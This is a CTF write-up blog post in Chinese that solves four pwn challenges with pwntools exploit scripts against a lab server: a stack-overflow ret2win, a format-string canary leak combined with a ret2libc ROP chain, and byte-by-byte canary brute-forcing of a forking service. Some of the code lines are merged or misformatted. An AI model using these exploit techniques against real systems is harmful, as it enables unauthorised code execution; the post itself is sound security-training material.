2021梦极光CTF Pwn

目录

1.pwn1

2.pwn2

3.pwn3  

4.pwn4 


1.pwn1

通过题目给的提示可以看到是关于 nc 的知识的。直接百度 nc ,发现是 netcat 工具。
直接链接就好。
做法如下图:

接着执行 linux 命令 ls 查看所有文件

 

可以看到其中有 flag.txt。使用 cat 命令查看 flag.txt 中的内容。

 

我们就可以得到 flag 了。

2.pwn2

首先下载 pwn2 文件将其放入 ubuntu 中使用 checksec 检查保护以及位数。

 

可以看到题目是 64 位的,只开了 NX 保护。接着将 pwn2 文件放入 ida64 中进行反编译。
进入 ida 后使用 F5 加载伪代码。
main 函数如上图所示:
接着我们可以对 main 函数进行分析。
通过观察可以发现,定义了两个数组一个是 v4 ,一个是 buf 大小都是 32
接着观察主体函数逻辑,首先有三个 puts 函数进行打印文本,接着出现一个 read 函数。 对该 read 函数进行分析。
read 函数读取我们所输入的内容将其存在 buf 数组中,但是定义了只能接受 0xA 大小的数据。
明显无法构造我们所需要的 ROP 链,这里不存在漏洞。
分析下一个 read 函数,可以看到该 read 函数可以接受 0x80 大小的数据。
接着查看栈上的数据。
可以看到 ret 返回地址处在 0x40+0x8 的地方,但是我们可以输入 0x80 大小的数据。此处存
在栈溢出漏洞。
接着在 ida 中找到了 getshell 函数

发现出题人给出了 system 函数。那么直接进行调用就可以了。 

 

那么 system 函数的位置就在 0x40067A 的位置上了。
那就直接编写 exp 就好了
exp 如下:
from pwn import *
context.log_level = 'debug'
p = remote( '172.16.64.96' , 9259 )
system_addr = 0x40067A
p.recvuntil( 'Please input your name.' )
p.sendline(b 'aaaa' )
p.recvuntil( 'Please input your password.' )
payload = b 'a' *( 0x48 ) + p64(system_addr)
p.sendline(payload) p.interactive()

 

3.pwn3  

 首先下载 pwn3 文件将其放入 ubuntu 中使用 checksec 检查保护以及位数。

可以看到程序是 64 位并且开启了 nx 保护和 canary ,直接放入 ida 中反编译。
由于题目部分中 puts 函数输出的是中文,所以需要结合程序实际运行逻辑来看。

首先,我们要进行选择。那么在 ida 中寻找对应的判断语句

 

可以发现当 v4 == 97 的时候就可以运行下一步了, ASCII 对应可以得 a =97
所以选择 a 进入下一步。
当我们选择 a 之后出现了 5 个选项,对应 ida 中的伪代码就是 switch 函数进行选择。
我们可以一个一个进行选择进行尝试。
Choice 1
可以看到其中包含了一个格式化字符串漏洞,那么我们可以通过格式化字符串来泄露
cananry 的值。
Choice 5:
当我们选择 5 的时候可以看到一位帅气的哥哥在跳舞,并且可以进行评论。 那么我们进入 ida 中查看这部分代码

 

可以看到 read 函数可以输入 0x80 大小的数据,接着看看栈上的数据。

 

明显的格式化字符串漏洞,并且在第八位有 canary 的值存在。在 ida 中寻找发现没有任何后
门函数。那就需要我们使用 ret2libc 了。
思路:
首先借助格式化字符串漏洞泄露 canary 的值。进入 ida 中查看 format 的数据位置。

 

 

 

直接进行计算 0x20 = 32 0x8 = 8 (32 - 8)/8 = 3
由于是 64 位程序所以要加上先前被调用的 6 个寄存器所以是 3+6 =9
泄露 canary 的脚本如下:
p.sendlineafter( " 你所选择的哥哥: " , b 'a' )
p.sendline(b '1' )
p.sendlineafter( " 你必须要对哥哥道歉 " ,b '%9$p' )
当我们泄露出 canary 的值之后就可以通过栈溢出来泄露出 libc 的基地址了。
从而计算出 system 的真实地址,以及 offset
注意不要忘记返回 main 函数。不然 canary 的值是会发生改变的。
泄露基地址的脚本如下:
payload = b 'A' *( 0x40 - 0x8 ) + p64(canary) + b 'A' * 0x8 + p64(pop_rdi_ret) + p64(puts_got)
+ p64(puts_plt) + p64(main_addr)
接着我们就可以编写总体的 exp 了,还要注意栈对齐。
Í
exp 如下:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = remote( '172.16.64.96' , 9279 )
#p = process('./pwn3')
elf = ELF( './pwn3' )
puts_got = elf.got[ 'puts' ]
puts_plt = elf.plt[ 'puts' ]
main_addr = elf.sym[ 'main' ]
pop_rdi_ret = 0x400db3
ret_addr = 0x4005ee
def canary ():
p.sendlineafter( " 你所选择的哥哥: " , b 'a' )
p.sendline(b '1' )
p.sendlineafter( " 你必须要对哥哥道歉 " ,b '%9$p' )
def rap ():
p.sendlineafter( " 你所选择的哥哥: " ,b 'a' )
p.sendlineafter( "5= _ _rap_ 篮球 " ,b '5' )
canary() p.recvuntil( ' \n ' )
canary = int (p.recv( 18 ), 16 )
log.info( "canary => %#x" ,canary)
print ( hex (canary))
p.sendline(b '5' )
payload = b 'A' *( 0x40 - 0x8 ) + p64(canary) + b 'A' * 0x8 + p64(pop_rdi_ret) + p64(puts_got)
+ p64(puts_plt) + p64(main_addr)
p.sendline(payload)
p.recvuntil( " 你果然是真 IKUN ,来对你喜欢的哥哥发表你的评论 " )
puts_addr = u64(p.recvuntil( ' \x7f ' )[- 6 :].ljust( 8 ,b ' \x00 ' ))
log.info( "puts_addr => %#X" ,puts_addr)
libc_puts = 0x06f6a0
libc_system = 0x0453a0
libc_binsh = 0x18ce57
offset = puts_addr - libc_puts
system_addr = offset + libc_system
bin_sh_addr = offset + libc_binsh
log.info( "system_addr => %#X" ,system_addr)
log.info( "bin_sh_addr => %#X" ,bin_sh_addr)
payload = b 'A' *( 0x40 - 0x8 ) + p64(canary) + b 'A' * 0x8 + p64(ret_addr) + p64(pop_rdi_ret)
+ p64(bin_sh_addr) + p64(system_addr)
rap()
p.sendline(payload)
p.interactive()

4.pwn4 

 首先下载 pwn4 文件将其放入 ubuntu 中使用 checksec 检查保护以及位数。

 

可以看到程序是 64 位并且开启了 nx 保护和 canary ,直接放入 ida 中反编译。
由于这道题比较复杂所以我就分段进行分析。
首先第一部分

 

接着我们进入了第一部分判断,只有 buf = -559038737 时才可以进行下一步。
在这里我们可以使用 ida 先选中 -559038737 ,然后按下 H 就会显示 16 进制数出来。

 

这个时候我们就能看到其真实值了。我们要注意在按下 H 之后会出现两个值。
一个是 3735928559 ,另一个是 0xDEADBEEF
只有当 buf = 0xdeadbeef 的时候才能通过。
那么判断的脚本如下:
p.sendlineafter( 'ps: 死牛肉 \n ' ,p64( 0xdeadbeef ))
p.recvuntil( "Secondly, let's guess some numbers \n " )
第二部分

 

这两部分结合可以看出生成了伪随机数,将其等于 v9 。然后输入 v5 进行判断伪随机数。
还要循环 4 次,通过判断。
由于 c 伪随机数的生成是通过 time 时间戳来进行生成的,所以只要生成同样的时间戳就可
以通过判断了。
生成时间戳脚本如下:
elf = cdll.LoadLibrary( '/lib/x86_64-linux-gnu/libc.so.6' )
elf.srand( 0 ) 伪随机数通过脚本如下:
for i in range ( 5 ):
payload = str (elf.rand())
p.sendlineafter( "number" , payload)
第三部分:
v10 0 ~ 53246 之间, v11 0 ~ 43256 之间, v12 0 ~ 2 之间。
接着使用 switch 函数和循环函数,将 v12 作为判断条件,在三种计算模式之间任意切换。
v12 = 0 时,判断 v10 + v11 的值是否等于 v5
v12 = 1 时,判断 v10 - v11 的值是否等于 v5
v12 = 2 时,判断 v10 * v11 的值是否等于 v5
计算器脚本如下:
p.recvuntil( 'problems \n ' )
for i in range ( 10000 ): # print(p.recv())
# p.sendline(bytes(input()))
log.success( str (i))
p.sendline( str ( eval (p.recv().replace(b " = ?" , b "" ))))
第四部分
可以看到里面使用了 fork 函数。
从百度上可以查到 fork 函数的功能如下:
https://baike.baidu.com/item/fork/7143171?fr=aladdin
简单来说就是从主进程中创建一个和原本一摸一样的子进程,如果子进程报错后就会返回
-1
该部分还使用了循环所以我们可以进行无限次运行。
第五部分
magic 函数
可以看到其中有一个栈溢出,该栈上有 canary 的值,并且在 fork 进程中。
那么我们就可以无限爆 canary 了,而且 canary 是有特征的其末两位为 00
由于是 64 位程序所以 canary 的长度是 8byte 这个时候我们对 ida 进行寻找发现了 b4ckd00r 函数。
其中有 execve 函数(太棒了!出题人真是个好人,不用 ret2libc 。)
但是注意 execve 函数是有个小坑的。
从百度上查询 execve 函数。
https://baike.baidu.com/item/execve/4475693
int execve(const char * filename,char * const argv[ ],char * const envp[ ]);
execve() 用来执行参数 filename 字符串所代表的文件路径,第二个参数是利用指针数组来传
递给执行文件,并且需要以空指针 (NULL) 结束,最后一个参数则为传递给执行文件的新
境变量 数组。
所以我们必须要从 0x400E97 开始将 envp 变量和 argv 变量同时写入才能使 execve 函数成功
调用。
最后 exp 如下:
from pwn import *
from ctypes import *
import pwn p8 = pwn.p8
u8 = pwn.u8
p64 = pwn.p64
u64 = pwn.u64
context.log_level = 'debug'
processName = './pwn4'
#p = process(processName)
p=remote( '172.16.64.96' , 9210 )
# bin
backdoor_addr = 0x4009E7 # objdump -D pwn4 | grep b4ckd00r
offset = 0x70 - 0x8
# hex
p.sendlineafter( 'ps: 死牛肉 \n ' ,p64( 0xdeadbeef ))
p.recvuntil( "Secondly, let's guess some numbers \n " )
# 伪随机数生成与判断
elf = cdll.LoadLibrary( '/lib/x86_64-linux-gnu/libc.so.6' )
elf.srand( 0 )
for i in range ( 5 ):
payload = str (elf.rand())
p.sendlineafter( "number" , payload)
# 绕过计算器
p.recvuntil( 'problems \n ' )
for i in range ( 10000 ):
log.success( str (i))
p.sendline( str ( eval (p.recv().replace(b " = ?" , b "" )))) # 通过电脑自动计算,获取返回值。
context(log_level= 'debug' , os= 'linux' )
canary = ' \x00 '
p.recvuntil( 'Welcome to GUETCTF. \n ' )
for i in range ( 7 ):
for j in range ( 256 ):
p.send( 'a' * offset + canary + chr (j))
recvt = p.recvuntil( 'Welcome to GUETCTF. \n ' )
if b 'No no no! \n ' in recvt: canary += chr (j)
break
log.success( 'leak_canary => {}' .format(canary.encode( 'hex' )))
payload = b 'a' * offset + p64(canary) + b 'b' * 0x8 + p64(backdoor_addr)
p.sendline(payload)
p.interactive()

 

 

 

 

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

如意如意按我心意,快快显灵

您的鼓励是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值